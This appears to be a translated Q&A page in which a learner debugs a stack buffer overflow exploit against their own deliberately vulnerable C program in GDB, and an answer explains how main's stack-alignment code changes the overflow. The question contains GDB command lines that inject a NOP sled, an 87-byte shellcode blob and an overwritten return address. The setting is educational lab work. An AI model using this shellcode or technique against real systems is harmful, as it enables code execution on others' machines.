c - 缓冲区溢出漏洞利用示例

Question

我正在处理一些缓冲区溢出漏洞利用示例，并编写了一个基本的易受攻击的 C 应用程序来测试:(目标和攻击者是同一台 Kali 2 机器，并且运行了“echo”0“>/proc/sys/kernel/randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if (argc != 2)
        {
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

现在，通过在 GDB 中进行一些测试，我可以通过将 260 个字节放入缓冲区来导致段错误:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')

寄存器显示:

eax            0x105    261
ecx            0xffffd300   -11520
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0xffffd300   0xffffd300
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

鉴于上面的 0x424242(尽管 EBP 是 0x0？？)，我认为我可以成功获得对 EIP 的控制权

问题 1.

使用 260 字节的缓冲区，EIP 将被覆盖，如上所示。如果使用:

r $(python -c 'print "A" * 512')

我发现 SEGSEGV 位于 0x080484b4 寄存器

eax            0x201    513
ecx            0x41414141   1094795585
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x80484b4    0x80484b4 <main+89>
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

我会想，如果260获得了EIP的控制权，512字节的例子不应该也是如此吗？为什么 512 场景允许 EIP 在这种情况下指向 ret 而不是像上面 260 字节缓冲区示例中的 0x424242？？

问题 2.

我创建了一个 87 字节的负载。我已经将有效载荷注入(inject)到最初的 204 个字节中，如下所示

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')

我的主要问题如下

   0x0804845b <+0>: lea    0x4(%esp),%ecx
   0x0804845f <+4>: and    $0xfffffff0,%esp
   0x08048462 <+7>: pushl  -0x4(%ecx)
   0x08048465 <+10>:    push   %ebp
   0x08048466 <+11>:    mov    %esp,%ebp
   0x08048468 <+13>:    push   %ecx
   0x08048469 <+14>:    sub    $0x104,%esp
   0x0804846f <+20>:    mov    %ecx,%eax
   0x08048471 <+22>:    cmpl   $0x2,(%eax)
   0x08048474 <+25>:    je     0x8048480 <main+37>
   0x08048476 <+27>:    sub    $0xc,%esp
   0x08048479 <+30>:    push   $0x0
   0x0804847b <+32>:    call   0x8048340 <exit@plt>
   0x08048480 <+37>:    mov    0x4(%eax),%eax
   0x08048483 <+40>:    add    $0x4,%eax
   0x08048486 <+43>:    mov    (%eax),%eax
   0x08048488 <+45>:    sub    $0x8,%esp
   0x0804848b <+48>:    push   %eax
   0x0804848c <+49>:    lea    -0x108(%ebp),%eax
   0x08048492 <+55>:    push   %eax
   0x08048493 <+56>:    call   0x8048310 <strcpy@plt>
   0x08048498 <+61>:    add    $0x10,%esp
   0x0804849b <+64>:    sub    $0xc,%esp
   0x0804849e <+67>:    lea    -0x108(%ebp),%eax
   0x080484a4 <+73>:    push   %eax
   0x080484a5 <+74>:    call   0x8048320 <puts@plt>
   0x080484aa <+79>:    add    $0x10,%esp
   0x080484ad <+82>:    mov    -0x4(%ebp),%ecx
   0x080484b0 <+85>:    leave  
   0x080484b1 <+86>:    lea    -0x4(%ecx),%esp
=> 0x080484b4 <+89>:    ret  

中断 56 (0x08048493) 并检查 ESP x/2wx $esp 我可以发现:

0xffffd220: 0xffffd230  0xffffd56b

和 x/s 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>

因此，可以推断(希望是正确的)EIP 应该是\x6b\xd5\xff\xff 来调用漏洞利用，并将所有部分替换如下(使用 nop sled):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')

不幸的是，程序现在正常终止并显示“[Inferior 1 (process 2863) exited normally]”。我错过了什么或只是偏离了正确的道路......？我还注意到上面的语句中没有中断吗？

-- 编辑

在离开屏幕上的时间后改写更有意义:)

Answer 1

请注意，原始堆栈指针保存在堆栈中，并在 ret 之前恢复。因此，如果您覆盖堆栈，您可能还会覆盖将用于 ret 的堆栈指针。 main 这种方式很特别，因为它在序言中有堆栈对齐代码。

也就是说，预期的行为实际上是第二种情况，第一种是特殊情况。您的字符串恰好是正确的长度，因此终止零会覆盖保存的堆栈指针的低字节，这足以使其在内存中指向较低的位置，但仍在您的字符串中。确切的位置将取决于堆栈布局，它不会总是你的 BBBB，事实上对我来说它在 AAAA 部分的某个地方。请注意，即使关闭了 ASLR，堆栈布局也可能会因环境而改变，因此即使您在 gdb 中使用了一个漏洞，它也可能无法可靠地工作，或者根本无法从 shell 中工作。